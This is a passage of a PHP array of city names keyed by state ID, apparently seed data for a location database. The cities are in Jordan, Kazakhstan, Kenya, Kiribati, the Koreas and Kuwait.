=> '1979', 'name' => 'zahar'],\n ['state_id' => '1979', 'name' => 'al-ashrafiyah'],\n ['state_id' => '1979', 'name' => 'al-balawnah'],\n ['state_id' => '1979', 'name' => 'al-buwaydah'],\n ['state_id' => '1979', 'name' => 'al-husun'],\n ['state_id' => '1979', 'name' => 'al-manshiyah'],\n ['state_id' => '1979', 'name' => 'al-mashari\\'a'],\n ['state_id' => '1979', 'name' => 'al-mazar ash-shamaliyah'],\n ['state_id' => '1979', 'name' => 'al-mughayyar'],\n ['state_id' => '1979', 'name' => 'an-nu\\'aymeh'],\n ['state_id' => '1979', 'name' => 'ar-ramtha'],\n ['state_id' => '1979', 'name' => 'as-sarih'],\n ['state_id' => '1979', 'name' => 'ash-shajarah'],\n ['state_id' => '1979', 'name' => 'ash-shunah ash-shamaliyah'],\n ['state_id' => '1979', 'name' => 'at-taybah'],\n ['state_id' => '1979', 'name' => 'at-turrah'],\n ['state_id' => '1980', 'name' => 'balila'],\n ['state_id' => '1980', 'name' => 'burma'],\n ['state_id' => '1980', 'name' => 'jarash'],\n ['state_id' => '1980', 'name' => 'kufur khall'],\n ['state_id' => '1980', 'name' => 'mukhayyam ghazzah'],\n ['state_id' => '1980', 'name' => 'mukhayyam suf'],\n ['state_id' => '1980', 'name' => 'qafqafa'],\n ['state_id' => '1980', 'name' => 'raymun'],\n ['state_id' => '1980', 'name' => 'sakab'],\n ['state_id' => '1980', 'name' => 'suf'],\n ['state_id' => '1980', 'name' => 'al-kattah'],\n ['state_id' => '1981', 'name' => 'bayar'],\n ['state_id' => '1981', 'name' => 'ma\\'an'],\n ['state_id' => '1981', 'name' => 'wadi musa'],\n ['state_id' => '1981', 'name' => 'al-hussayniyah'],\n ['state_id' => '1981', 'name' => 'al-jafar'],\n ['state_id' => '1981', 'name' => 'at-taybah'],\n ['state_id' => '1982', 'name' => 'dhiban'],\n ['state_id' => '1982', 'name' => 'ma\\'in'],\n ['state_id' => '1982', 'name' => 'madaba'],\n ['state_id' => '1982', 'name' => 'mulayh'],\n ['state_id' => '1982', 'name' => 'al-faysaliyah'],\n ['state_id' => '1983', 'name' => 'al-\\'aqabah'],\n ['state_id' => '1983', 'name' => 'al-quwayrah'],\n ['state_id' => '1984', 'name' => '\\'ayn al-basha'],\n ['state_id' => '1984', 'name' => 'darar'],\n ['state_id' => '1984', 'name' => 'juwafat al-kafrayn'],\n ['state_id' => '1984', 'name' => 'ma\\'addi'],\n ['state_id' => '1984', 'name' => 'mahas'],\n ['state_id' => '1984', 'name' => 'safut'],\n ['state_id' => '1984', 'name' => 'suknat ash-shunah'],\n ['state_id' => '1984', 'name' => 'yarqa'],\n ['state_id' => '1984', 'name' => 'al-baq\\'ah'],\n ['state_id' => '1984', 'name' => 'al-fuhays'],\n ['state_id' => '1984', 'name' => 'al-karamah'],\n ['state_id' => '1984', 'name' => 'ar-rawdah'],\n ['state_id' => '1984', 'name' => 'as-salt'],\n ['state_id' => '1984', 'name' => 'as-sawalhah'],\n ['state_id' => '1984', 'name' => 'as-subayhi'],\n ['state_id' => '1984', 'name' => 'at-tawal al-janubi'],\n ['state_id' => '1984', 'name' => 'at-tuwal ash-shamali'],\n ['state_id' => '1985', 'name' => '\\'ayy'],\n ['state_id' => '1985', 'name' => 'adar'],\n ['state_id' => '1985', 'name' => 'faqqu\\''],\n ['state_id' => '1985', 'name' => 'ghawr al-mazra\\'ah'],\n ['state_id' => '1985', 'name' => 'ghawr as-safi'],\n ['state_id' => '1985', 'name' => 'maw\\'tah'],\n ['state_id' => '1985', 'name' => 'sirfa'],\n ['state_id' => '1985', 'name' => 'al-hussayniyah'],\n ['state_id' => '1985', 'name' => 'al-karak'],\n ['state_id' => '1985', 'name' => 'al-mazar'],\n ['state_id' => '1985', 'name' => 'al-qasr'],\n ['state_id' => '1985', 'name' => 'al-qitranah'],\n ['state_id' => '1985', 'name' => 'ar-rabbah'],\n ['state_id' => '1985', 'name' => 'ash-shahabiyah'],\n ['state_id' => '1985', 'name' => 'at-taybah'],\n ['state_id' => '1986', 'name' => 'badiyat ar-ruwayshid'],\n ['state_id' => '1986', 'name' => 'bal\\'ama'],\n ['state_id' => '1986', 'name' => 'manshiyat bani hassan'],\n ['state_id' => '1986', 'name' => 'mugayyar as-sarhan'],\n ['state_id' => '1986', 'name' => 'sabha'],\n ['state_id' => '1986', 'name' => 'sama as-sarhan'],\n ['state_id' => '1986', 'name' => 'umm al-quttayn'],\n ['state_id' => '1986', 'name' => 'al-hamra\\''],\n ['state_id' => '1986', 'name' => 'al-khaldiyah al-jadidah'],\n ['state_id' => '1986', 'name' => 'al-mabrukah'],\n ['state_id' => '1986', 'name' => 'al-mafraq'],\n ['state_id' => '1986', 'name' => 'ar-ruwayshid'],\n ['state_id' => '1986', 'name' => 'az-za\\'tari'],\n ['state_id' => '1987', 'name' => 'busayrah'],\n ['state_id' => '1987', 'name' => 'al-\\'ayn al-bayda'],\n ['state_id' => '1987', 'name' => 'al-hasa'],\n ['state_id' => '1987', 'name' => 'al-qadisiyah'],\n ['state_id' => '1987', 'name' => 'at-tafilah'],\n ['state_id' => '1988', 'name' => 'iskan al-hashamiyah'],\n ['state_id' => '1988', 'name' => 'mushayrfat ras al-\\'ayn'],\n ['state_id' => '1988', 'name' => 'shnillar'],\n ['state_id' => '1988', 'name' => 'ad-dulayl'],\n ['state_id' => '1988', 'name' => 'al-azraq ash-shamali'],\n ['state_id' => '1988', 'name' => 'al-hashamiyah'],\n ['state_id' => '1988', 'name' => 'ar-russayfah'],\n ['state_id' => '1988', 'name' => 'as-sukhnah'],\n ['state_id' => '1988', 'name' => 'az-zarqa\\''],\n ['state_id' => '1989', 'name' => 'akmecet'],\n ['state_id' => '1989', 'name' => 'aral'],\n ['state_id' => '1989', 'name' => 'baykonir'],\n ['state_id' => '1989', 'name' => 'canakazali'],\n ['state_id' => '1989', 'name' => 'canakorgan'],\n ['state_id' => '1989', 'name' => 'cosali'],\n ['state_id' => '1989', 'name' => 'kazali'],\n ['state_id' => '1989', 'name' => 'sieli'],\n ['state_id' => '1989', 'name' => 'tasboget'],\n ['state_id' => '1990', 'name' => 'aksu'],\n ['state_id' => '1990', 'name' => 'alekseevka'],\n ['state_id' => '1990', 'name' => 'astana'],\n ['state_id' => '1990', 'name' => 'atbasar'],\n ['state_id' => '1990', 'name' => 'bestobe'],\n ['state_id' => '1990', 'name' => 'caltir'],\n ['state_id' => '1990', 'name' => 'colimbet'],\n ['state_id' => '1990', 'name' => 'ereymentau'],\n ['state_id' => '1990', 'name' => 'koksetau'],\n ['state_id' => '1990', 'name' => 'makin'],\n ['state_id' => '1990', 'name' => 'stepnogorsk'],\n ['state_id' => '1991', 'name' => 'aktobe'],\n ['state_id' => '1991', 'name' => 'alka'],\n ['state_id' => '1991', 'name' => 'batamsi'],\n ['state_id' => '1991', 'name' => 'embi'],\n ['state_id' => '1991', 'name' => 'hromtau'],\n ['state_id' => '1991', 'name' => 'kandagac'],\n ['state_id' => '1991', 'name' => 'salkar'],\n ['state_id' => '1991', 'name' => 'subarkudik'],\n ['state_id' => '1991', 'name' => 'subarsi'],\n ['state_id' => '1991', 'name' => 'temir'],\n ['state_id' => '1992', 'name' => 'almati'],\n ['state_id' => '1992', 'name' => 'almaty'],\n ['state_id' => '1992', 'name' => 'boralday'],\n ['state_id' => '1992', 'name' => 'carkant'],\n ['state_id' => '1992', 'name' => 'energetyceskiy'],\n ['state_id' => '1992', 'name' => 'esik'],\n ['state_id' => '1992', 'name' => 'fabrichniy'],\n ['state_id' => '1992', 'name' => 'kapsagay'],\n ['state_id' => '1992', 'name' => 'karabulak'],\n ['state_id' => '1992', 'name' => 'kaskelen'],\n ['state_id' => '1992', 'name' => 'kirov'],\n ['state_id' => '1992', 'name' => 'sariozek'],\n ['state_id' => '1992', 'name' => 'sarkand'],\n ['state_id' => '1992', 'name' => 'selek'],\n ['state_id' => '1992', 'name' => 'taldikorgan'],\n ['state_id' => '1992', 'name' => 'talgar'],\n ['state_id' => '1992', 'name' => 'tekeli'],\n ['state_id' => '1992', 'name' => 'ustobe'],\n ['state_id' => '1992', 'name' => 'uzunagac'],\n ['state_id' => '1993', 'name' => 'atirau'],\n ['state_id' => '1993', 'name' => 'atyrau'],\n ['state_id' => '1993', 'name' => 'dossor'],\n ['state_id' => '1993', 'name' => 'inderbor'],\n ['state_id' => '1993', 'name' => 'karaton'],\n ['state_id' => '1993', 'name' => 'kulsari'],\n ['state_id' => '1993', 'name' => 'makat'],\n ['state_id' => '1993', 'name' => 'oporni'],\n ['state_id' => '1993', 'name' => 'sumisker'],\n ['state_id' => '1996', 'name' => 'abay'],\n ['state_id' => '1996', 'name' => 'akadir'],\n ['state_id' => '1996', 'name' => 'aktas'],\n ['state_id' => '1996', 'name' => 'aktau'],\n ['state_id' => '1996', 'name' => 'atasu'],\n ['state_id' => '1996', 'name' => 'balkas'],\n ['state_id' => '1996', 'name' => 'cayrem'],\n ['state_id' => '1996', 'name' => 'cezkazgan'],\n ['state_id' => '1996', 'name' => 'gulsat'],\n ['state_id' => '1996', 'name' => 'karacal'],\n ['state_id' => '1996', 'name' => 'karaganda'],\n ['state_id' => '1996', 'name' => 'karkarali'],\n ['state_id' => '1996', 'name' => 'karsakbay'],\n ['state_id' => '1996', 'name' => 'konrat'],\n ['state_id' => '1996', 'name' => 'novodolinskiy'],\n ['state_id' => '1996', 'name' => 'osakarovka'],\n ['state_id' => '1996', 'name' => 'sahti'],\n ['state_id' => '1996', 'name' => 'saran'],\n ['state_id' => '1996', 'name' => 'sarisagan'],\n ['state_id' => '1996', 'name' => 'satpaev'],\n ['state_id' => '1996', 'name' => 'temirtau'],\n ['state_id' => '1996', 'name' => 'tokaryovka'],\n ['state_id' => '1997', 'name' => 'arkalik'],\n ['state_id' => '1997', 'name' => 'borovskoy'],\n ['state_id' => '1997', 'name' => 'cetikara'],\n ['state_id' => '1997', 'name' => 'derjavinsk'],\n ['state_id' => '1997', 'name' => 'esil'],\n ['state_id' => '1997', 'name' => 'fodorov'],\n ['state_id' => '1997', 'name' => 'kacar'],\n ['state_id' => '1997', 'name' => 'komsomol'],\n ['state_id' => '1997', 'name' => 'kostanay'],\n ['state_id' => '1997', 'name' => 'kusmurin'],\n ['state_id' => '1997', 'name' => 'lisakovsk'],\n ['state_id' => '1997', 'name' => 'rudni'],\n ['state_id' => '1997', 'name' => 'tobol'],\n ['state_id' => '1997', 'name' => 'uritsk'],\n ['state_id' => '1997', 'name' => 'zatobolsk'],\n ['state_id' => '1998', 'name' => 'aktau'],\n ['state_id' => '1998', 'name' => 'beyneu'],\n ['state_id' => '1998', 'name' => 'canaozen'],\n ['state_id' => '1998', 'name' => 'cetibay'],\n ['state_id' => '1998', 'name' => 'fort-sevcenko'],\n ['state_id' => '1998', 'name' => 'kurik'],\n ['state_id' => '1998', 'name' => 'mangyslak'],\n ['state_id' => '1998', 'name' => 'setpe'],\n ['state_id' => '2000', 'name' => 'ekibastuz'],\n ['state_id' => '2000', 'name' => 'ermak'],\n ['state_id' => '2000', 'name' => 'ertis'],\n ['state_id' => '2000', 'name' => 'kaciri'],\n ['state_id' => '2000', 'name' => 'maykain'],\n ['state_id' => '2000', 'name' => 'pavlodar'],\n ['state_id' => '2000', 'name' => 'sarbakti'],\n ['state_id' => '2003', 'name' => 'canatas'],\n ['state_id' => '2003', 'name' => 'georgiyev'],\n ['state_id' => '2003', 'name' => 'karatau'],\n ['state_id' => '2003', 'name' => 'lugovoy'],\n ['state_id' => '2003', 'name' => 'merke'],\n ['state_id' => '2003', 'name' => 'mihaylov'],\n ['state_id' => '2003', 'name' => 'oytal'],\n ['state_id' => '2003', 'name' => 'su'],\n ['state_id' => '2003', 'name' => 'taraz'],\n ['state_id' => '2004', 'name' => 'gilgil'],\n ['state_id' => '2004', 'name' => 'karatina'],\n ['state_id' => '2004', 'name' => 'kiambu'],\n ['state_id' => '2004', 'name' => 'kijabe'],\n ['state_id' => '2004', 'name' => 'kikuyu'],\n ['state_id' => '2004', 'name' => 'limuru'],\n ['state_id' => '2004', 'name' => 'maragua'],\n ['state_id' => '2004', 'name' => 'muranga'],\n ['state_id' => '2004', 'name' => 'nyeri'],\n ['state_id' => '2004', 'name' => 'ruiru'],\n ['state_id' => '2004', 'name' => 'sagana'],\n ['state_id' => '2004', 'name' => 'thika'],\n ['state_id' => '2004', 'name' => 'vanga'],\n ['state_id' => '2005', 'name' => 'changamwe'],\n ['state_id' => '2005', 'name' => 'garsen'],\n ['state_id' => '2005', 'name' => 'gazi'],\n ['state_id' => '2005', 'name' => 'hola'],\n ['state_id' => '2005', 'name' => 'kaloleni'],\n ['state_id' => '2005', 'name' => 'kilifi'],\n ['state_id' => '2005', 'name' => 'kinango'],\n ['state_id' => '2005', 'name' => 'kipini'],\n ['state_id' => '2005', 'name' => 'kwale'],\n ['state_id' => '2005', 'name' => 'lamu'],\n ['state_id' => '2005', 'name' => 'malindi'],\n ['state_id' => '2005', 'name' => 'mambrui'],\n ['state_id' => '2005', 'name' => 'mombasa'],\n ['state_id' => '2005', 'name' => 'sawasawa'],\n ['state_id' => '2005', 'name' => 'shimoni'],\n ['state_id' => '2005', 'name' => 'takaungu'],\n ['state_id' => '2005', 'name' => 'taveta'],\n ['state_id' => '2005', 'name' => 'voi'],\n ['state_id' => '2005', 'name' => 'witu'],\n ['state_id' => '2005', 'name' => 'wundanyi'],\n ['state_id' => '2006', 'name' => 'athi river'],\n ['state_id' => '2006', 'name' => 'chuka'],\n ['state_id' => '2006', 'name' => 'embu'],\n ['state_id' => '2006', 'name' => 'isiolo'],\n ['state_id' => '2006', 'name' => 'kangonde'],\n ['state_id' => '2006', 'name' => 'kitui'],\n ['state_id' => '2006', 'name' => 'machakos'],\n ['state_id' => '2006', 'name' => 'mado gashi'],\n ['state_id' => '2006', 'name' => 'marsabit'],\n ['state_id' => '2006', 'name' => 'meru'],\n ['state_id' => '2006', 'name' => 'moyale'],\n ['state_id' => '2006', 'name' => 'mutomo'],\n ['state_id' => '2007', 'name' => 'nairobi'],\n ['state_id' => '2009', 'name' => 'homa bay'],\n ['state_id' => '2009', 'name' => 'kisii'],\n ['state_id' => '2009', 'name' => 'kisumu'],\n ['state_id' => '2009', 'name' => 'migori'],\n ['state_id' => '2011', 'name' => 'bungoma'],\n ['state_id' => '2011', 'name' => 'busia'],\n ['state_id' => '2011', 'name' => 'kakamega'],\n ['state_id' => '2011', 'name' => 'mumias'],\n ['state_id' => '2011', 'name' => 'webuye'],\n ['state_id' => '2012', 'name' => 'taburao'],\n ['state_id' => '2013', 'name' => 'binoinano'],\n ['state_id' => '2014', 'name' => 'takaeang'],\n ['state_id' => '2015', 'name' => 'roreti'],\n ['state_id' => '2016', 'name' => 'ooma'],\n ['state_id' => '2017', 'name' => 'tabukiniberu'],\n ['state_id' => '2018', 'name' => 'butaritari'],\n ['state_id' => '2019', 'name' => 'london'],\n ['state_id' => '2020', 'name' => 'tabontebike'],\n ['state_id' => '2021', 'name' => 'tabiauea'],\n ['state_id' => '2022', 'name' => 'makin'],\n ['state_id' => '2023', 'name' => 'rawannawi'],\n ['state_id' => '2024', 'name' => 'rungata'],\n ['state_id' => '2025', 'name' => 'temaraia'],\n ['state_id' => '2026', 'name' => 'ijaki'],\n ['state_id' => '2030', 'name' => 'nabari'],\n ['state_id' => '2031', 'name' => 'abaokoro'],\n ['state_id' => '2034', 'name' => 'washington'],\n ['state_id' => '2035', 'name' => 'kanggye'],\n ['state_id' => '2036', 'name' => 'cheongjin'],\n ['state_id' => '2036', 'name' => 'kimchaek'],\n ['state_id' => '2036', 'name' => 'najin'],\n ['state_id' => '2037', 'name' => 'hamheung'],\n ['state_id' => '2038', 'name' => 'sariweon'],\n ['state_id' => '2038', 'name' => 'seongnim'],\n ['state_id' => '2039', 'name' => 'haeju'],\n ['state_id' => '2040', 'name' => 'kaeseong'],\n ['state_id' => '2041', 'name' => 'weonsan'],\n ['state_id' => '2042', 'name' => 'nampo'],\n ['state_id' => '2043', 'name' => 'sineuiju'],\n ['state_id' => '2044', 'name' => 'phyeongseong'],\n ['state_id' => '2045', 'name' => 'pyeongyang'],\n ['state_id' => '2045', 'name' => 'pyongyang'],\n ['state_id' => '2046', 'name' => 'hyesan'],\n ['state_id' => '2047', 'name' => 'busan'],\n ['state_id' => '2048', 'name' => 'aeweol'],\n ['state_id' => '2048', 'name' => 'cheju'],\n ['state_id' => '2048', 'name' => 'seogwipo'],\n ['state_id' => '2049', 'name' => 'cheonju'],\n ['state_id' => '2049', 'name' => 'chongup'],\n ['state_id' => '2049', 'name' => 'iksan'],\n ['state_id' => '2049', 'name' => 'kimje'],\n ['state_id' => '2049', 'name' => 'kochang'],\n ['state_id' => '2049', 'name' => 'kunsan'],\n ['state_id' => '2049', 'name' => 'namwon'],\n ['state_id' => '2049', 'name' => 'puan'],\n ['state_id' => '2050', 'name' => 'haenam'],\n ['state_id' => '2050', 'name' => 'hwasun'],\n ['state_id' => '2050', 'name' => 'kwangyang'],\n ['state_id' => '2050', 'name' => 'kwangyang up'],\n ['state_id' => '2050', 'name' => 'mokpo'],\n ['state_id' => '2050', 'name' => 'naju'],\n ['state_id' => '2050', 'name' => 'peolgyo'],\n ['state_id' => '2050', 'name' => 'suncheon'],\n ['state_id' => '2050', 'name' => 'yeocheon'],\n ['state_id' => '2050', 'name' => 'yeosu'],\n ['state_id' => '2050', 'name' => 'yonggwang'],\n ['state_id' => '2051', 'name' => 'cheongwon-gun'],\n ['state_id' => '2051', 'name' => 'eumsung-kun'],\n ['state_id' => '2051', 'name' => 'jinchunkun'],\n ['state_id' => '2051', 'name' => 'okcheon-gun'],\n ['state_id' => '2051', 'name' => 'um sung gun'],\n ['state_id' => '2052', 'name' => 'chechon'],\n ['state_id' => '2052', 'name' => 'cheongju'],\n ['state_id' => '2052', 'name' => 'chincheon'],\n ['state_id' => '2052', 'name' => 'chungju'],\n ['state_id' => '2052', 'name' => 'jincheon-gun'],\n ['state_id' => '2052', 'name' => 'okchon'],\n ['state_id' => '2052', 'name' => 'yongdong'],\n ['state_id' => '2053', 'name' => 'asan'],\n ['state_id' => '2053', 'name' => 'cheonan'],\n ['state_id' => '2053', 'name' => 'chochiwon'],\n ['state_id' => '2053', 'name' => 'geumsan-gun'],\n ['state_id' => '2053', 'name' => 'hongseong'],\n ['state_id' => '2053', 'name' => 'kongju'],\n ['state_id' => '2053', 'name' => 'kumsan'],\n ['state_id' => '2053', 'name' => 'nonsan'],\n ['state_id' => '2053', 'name' => 'poryong'],\n ['state_id' => '2053', 'name' => 'puyeo'],\n ['state_id' => '2053', 'name' => 'seonghwan'],\n ['state_id' => '2053', 'name' => 'seosan'],\n ['state_id' => '2053', 'name' => 'taean'],\n ['state_id' => '2053', 'name' => 'taesan'],\n ['state_id' => '2053', 'name' => 'tangjin'],\n ['state_id' => '2053', 'name' => 'yesan'],\n ['state_id' => '2053', 'name' => 'yonmu'],\n ['state_id' => '2054', 'name' => 'chonan'],\n ['state_id' => '2054', 'name' => 'danjin-gun'],\n ['state_id' => '2054', 'name' => 'gongjusi'],\n ['state_id' => '2055', 'name' => 'daegu'],\n ['state_id' => '2055', 'name' => 'dalseo-gu'],\n ['state_id' => '2056', 'name' => 'chungcheong'],\n ['state_id' => '2056', 'name' => 'hoengseong'],\n ['state_id' => '2056', 'name' => 'mummakeup'],\n ['state_id' => '2056', 'name' => 'wonju'],\n ['state_id' => '2057', 'name' => 'gimhae'],\n ['state_id' => '2057', 'name' => 'goyang-si'],\n ['state_id' => '2058', 'name' => 'ansan'],\n ['state_id' => '2058', 'name' => 'anyang'],\n ['state_id' => '2058', 'name' => 'anyang-si'],\n ['state_id' => '2058', 'name' => 'anyangsi'],\n ['state_id' => '2058', 'name' => 'buchon'],\n ['state_id' => '2058', 'name' => 'buchun-si'],\n ['state_id' => '2058', 'name' => 'byeoryangdong'],\n ['state_id' => '2058', 'name' => 'dongan-gu'],\n ['state_id' => '2058', 'name' => 'gimpo city'],\n ['state_id' => '2058', 'name' => 'goyang'],\n ['state_id' => '2058', 'name' => 'gupo-si'],\n ['state_id' => '2058', 'name' => 'guri-si'],\n ['state_id' => '2058', 'name' => 'gwacheon si'],\n ['state_id' => '2058', 'name' => 'gwangju-si'],\n ['state_id' => '2058', 'name' => 'hwaseong-si'],\n ['state_id' => '2058', 'name' => 'icheon-si'],\n ['state_id' => '2058', 'name' => 'iljuk-myeon'],\n ['state_id' => '2058', 'name' => 'kwangju'],\n ['state_id' => '2058', 'name' => 'pocheon-si'],\n ['state_id' => '2058', 'name' => 'seongnam'],\n ['state_id' => '2058', 'name' => 'shihung-si'],\n ['state_id' => '2058', 'name' => 'siheung'],\n ['state_id' => '2058', 'name' => 'sihung-si'],\n ['state_id' => '2058', 'name' => 'suwon'],\n ['state_id' => '2058', 'name' => 'uijeongbu-dong'],\n ['state_id' => '2058', 'name' => 'uiwang'],\n ['state_id' => '2058', 'name' => 'yangju'],\n ['state_id' => '2058', 'name' => 'yangpyeong-gun'],\n ['state_id' => '2058', 'name' => 'yeokbuk-dong-si'],\n ['state_id' => '2060', 'name' => 'changwon'],\n ['state_id' => '2060', 'name' => 'gimhae-si'],\n ['state_id' => '2061', 'name' => 'incheon'],\n ['state_id' => '2061', 'name' => 'kanghwa'],\n ['state_id' => '2061', 'name' => 'namdongku'],\n ['state_id' => '2062', 'name' => 'jeju'],\n ['state_id' => '2062', 'name' => 'yeongpyeong-dong'],\n ['state_id' => '2063', 'name' => 'jeonju-si'],\n ['state_id' => '2064', 'name' => 'chuncheon'],\n ['state_id' => '2064', 'name' => 'hongcheon'],\n ['state_id' => '2064', 'name' => 'kangneung'],\n ['state_id' => '2064', 'name' => 'samchok'],\n ['state_id' => '2064', 'name' => 'seokcho'],\n ['state_id' => '2064', 'name' => 'taebaek'],\n ['state_id' => '2064', 'name' => 'tonghae'],\n ['state_id' => '2064', 'name' => 'weonju'],\n ['state_id' => '2064', 'name' => 'yeongweol'],\n ['state_id' => '2065', 'name' => 'kwangju'],\n ['state_id' => '2066', 'name' => 'ansan'],\n ['state_id' => '2066', 'name' => 'anseong'],\n ['state_id' => '2066', 'name' => 'anyang'],\n ['state_id' => '2066', 'name' => 'chongok'],\n ['state_id' => '2066', 'name' => 'euijeongbu'],\n ['state_id' => '2066', 'name' => 'euiwang'],\n ['state_id' => '2066', 'name' => 'hanam'],\n ['state_id' => '2066', 'name' => 'hoechon'],\n ['state_id' => '2066', 'name' => 'hwado'],\n ['state_id' => '2066', 'name' => 'hwasung'],\n ['state_id' => '2066', 'name' => 'ichon'],\n ['state_id' => '2066', 'name' => 'kihung'],\n ['state_id' => '2066', 'name' => 'kimpo'],\n ['state_id' => '2066', 'name' => 'koyang'],\n ['state_id' => '2066', 'name' => 'kumchon'],\n ['state_id' => '2066', 'name' => 'kunpo'],\n ['state_id' => '2066', 'name' => 'kuri'],\n ['state_id' => '2066', 'name' => 'kwacheon'],\n ['state_id' => '2066', 'name' => 'kwangju'],\n ['state_id' => '2066', 'name' => 'kwangmyeong'],\n ['state_id' => '2066', 'name' => 'munsan'],\n ['state_id' => '2066', 'name' => 'namyangju'],\n ['state_id' => '2066', 'name' => 'osan'],\n ['state_id' => '2066', 'name' => 'paengseong'],\n ['state_id' => '2066', 'name' => 'pochon'],\n ['state_id' => '2066', 'name' => 'pubal'],\n ['state_id' => '2066', 'name' => 'pucheon'],\n ['state_id' => '2066', 'name' => 'pyeongtaek'],\n ['state_id' => '2066', 'name' => 'seongnam'],\n ['state_id' => '2066', 'name' => 'shiheung'],\n ['state_id' => '2066', 'name' => 'suweon'],\n ['state_id' => '2066', 'name' => 'taean'],\n ['state_id' => '2066', 'name' => 'tongducheon'],\n ['state_id' => '2066', 'name' => 'wabu'],\n ['state_id' => '2066', 'name' => 'yeoju'],\n ['state_id' => '2066', 'name' => 'yongin'],\n ['state_id' => '2067', 'name' => 'andong'],\n ['state_id' => '2067', 'name' => 'angang'],\n ['state_id' => '2067', 'name' => 'hayang'],\n ['state_id' => '2067', 'name' => 'heunghae'],\n ['state_id' => '2067', 'name' => 'kimcheon'],\n ['state_id' => '2067', 'name' => 'kumi'],\n ['state_id' => '2067', 'name' => 'kyeongju'],\n ['state_id' => '2067', 'name' => 'kyeongsan'],\n ['state_id' => '2067', 'name' => 'mungyong'],\n ['state_id' => '2067', 'name' => 'ochon'],\n ['state_id' => '2067', 'name' => 'oedong'],\n ['state_id' => '2067', 'name' => 'pohang'],\n ['state_id' => '2067', 'name' => 'sangju'],\n ['state_id' => '2067', 'name' => 'seonsan'],\n ['state_id' => '2067', 'name' => 'waegwan'],\n ['state_id' => '2067', 'name' => 'yechon'],\n ['state_id' => '2067', 'name' => 'yeongcheon'],\n ['state_id' => '2067', 'name' => 'yeongju'],\n ['state_id' => '2067', 'name' => 'yeonil'],\n ['state_id' => '2068', 'name' => 'changweon'],\n ['state_id' => '2068', 'name' => 'chinhae'],\n ['state_id' => '2068', 'name' => 'chinju'],\n ['state_id' => '2068', 'name' => 'chinyeong'],\n ['state_id' => '2068', 'name' => 'keoje'],\n ['state_id' => '2068', 'name' => 'kimhae'],\n ['state_id' => '2068', 'name' => 'kochang'],\n ['state_id' => '2068', 'name' => 'koseong'],\n ['state_id' => '2068', 'name' => 'masan'],\n ['state_id' => '2068', 'name' => 'miryang'],\n ['state_id' => '2068', 'name' => 'naeso'],\n ['state_id' => '2068', 'name' => 'sacheon'],\n ['state_id' => '2068', 'name' => 'sinhyeon'],\n ['state_id' => '2068', 'name' => 'tongyong'],\n ['state_id' => '2068', 'name' => 'ungsang'],\n ['state_id' => '2068', 'name' => 'yangju'],\n ['state_id' => '2068', 'name' => 'yangsan'],\n ['state_id' => '2069', 'name' => 'anyang-si'],\n ['state_id' => '2069', 'name' => 'bucheon'],\n ['state_id' => '2069', 'name' => 'paju'],\n ['state_id' => '2069', 'name' => 'sungnamshi'],\n ['state_id' => '2069', 'name' => 'suwon'],\n ['state_id' => '2069', 'name' => 'uijongbu'],\n ['state_id' => '2069', 'name' => 'yangju'],\n ['state_id' => '2070', 'name' => 'gumi-shi'],\n ['state_id' => '2070', 'name' => 'kyungsan'],\n ['state_id' => '2070', 'name' => 'youngcheon-si'],\n ['state_id' => '2071', 'name' => 'bundang'],\n ['state_id' => '2071', 'name' => 'gunpo'],\n ['state_id' => '2071', 'name' => 'yangu'],\n ['state_id' => '2072', 'name' => 'pochun'],\n ['state_id' => '2072', 'name' => 'yangju'],\n ['state_id' => '2072', 'name' => 'yonggi'],\n ['state_id' => '2073', 'name' => 'kijang'],\n ['state_id' => '2073', 'name' => 'pusan'],\n ['state_id' => '2074', 'name' => 'seoul'],\n ['state_id' => '2075', 'name' => 'paju'],\n ['state_id' => '2076', 'name' => 'hwawon'],\n ['state_id' => '2076', 'name' => 'taegu'],\n ['state_id' => '2077', 'name' => 'taejeon'],\n ['state_id' => '2078', 'name' => 'daejeon'],\n ['state_id' => '2079', 'name' => 'nongso'],\n ['state_id' => '2079', 'name' => 'ulsan'],\n ['state_id' => '2080', 'name' => 'heungup-myun'],\n ['state_id' => '2081', 'name' => 'inchon'],\n ['state_id' => '2081', 'name' => 'pusan'],\n ['state_id' => '2081', 'name' => 'taejon'],\n ['state_id' => '2083', 'name' => 'bayan'],\n ['state_id' => '2083', 'name' => 'hawalli'],\n ['state_id' => '2083', 'name' => 'massilah'],\n ['state_id' => '2083', 'name' => 'mushrif'],\n ['state_id' => '2083', 'name' => 'salwa\\''],\n ['state_id' => '2083', 'name' => 'sha\\'\\'ab'],\n ['state_id' => '2083', 'name' => 'subbah-as-salim'],\n ['state_id' => '2083', 'name' => 'al-funaytis'],\n ['state_id' => '2083', 'name' => 'al-funaytis-al-garbiyah'],\n ['state_id' => '2083', 'name' => 'al-jabiriyah'],\n ['state_id' => '2083', 'name' => 'al-karim'],\n ['state_id' => '2083', 'name' => 'ar-rumaythiyah'],\n ['state_id' => '2083', 'name' => 'as-salimiyah'],\n ['state_id' => '2084', 'name' => 'mishref'],\n ['state_id' => '2085', 'name' => 'qadesiya'],\n ['state_id' => '2086', 'name' => 'safat'],\n ['state_id' => '2087', 'name' => 'salmiya'],\n ['state_id' => '2088', 'name' => 'a\\'qaylah'],\n ['state_id' => '2088', 'name' => 'abu hulayfah'],\n ['state_id' => '2088', 'name' => 'dahar'],\n ['state_id' => '2088', 'name' => 'desert area'],\n ['state_id' => '2088', 'name' => 'hadiyah'],\n ['state_id' => '2088', 'name' => 'jabbar-al-\\'ali'],\n ['state_id' => '2088', 'name' => 'shu\\'aybah'],\n ['state_id' => '2088', 'name' => 'al-ahmadi'],\n ['state_id' => '2088', 'name' => 'al-fintas'],\n ['state_id' => '2088', 'name' => 'al-fuhayhil'],\n ['state_id' => '2088', 'name' => 'al-mahbulah'],\n ['state_id' => '2088', 'name' => 'al-manqaf'],\n ['state_id' => '2088', 'name' => 'al-wafrah'],\n ['state_id' => '2088', 'name' => 'ar-riqqah'],\n ['state_id' => '2088', 'name' => 'as-sabahiyah'],\n ['state_id' => '2088', 'name' => 'az-zawr'],\n ['state_id' => '2089', 'name' => '\\'umayriyah'],\n ['state_id' => '2089', 'name' => 'abraq khitan'],\n ['state_id' => '2089', 'name' => 'ardiyah'],\n ['state_id' => '2089', 'name' => 'fardaws'],\n ['state_id' => '2089', 'name' => 'jalib ash-shuyuh'],\n ['state_id' => '2089', 'name' => 'janub-as-surrah'],\n ['state_id' => '2089', 'name' => 'khitan-al-janubiyah'],\n ['state_id' => '2089', 'name' => 'qartaba'],\n ['state_id' => '2089', 'name' => 'ray'],\n ['state_id' => '2089', 'name' => 'riqay'],\n ['state_id' => '2089', 'name' => 'sabhan'],\n ['state_id' => '2089', 'name' => 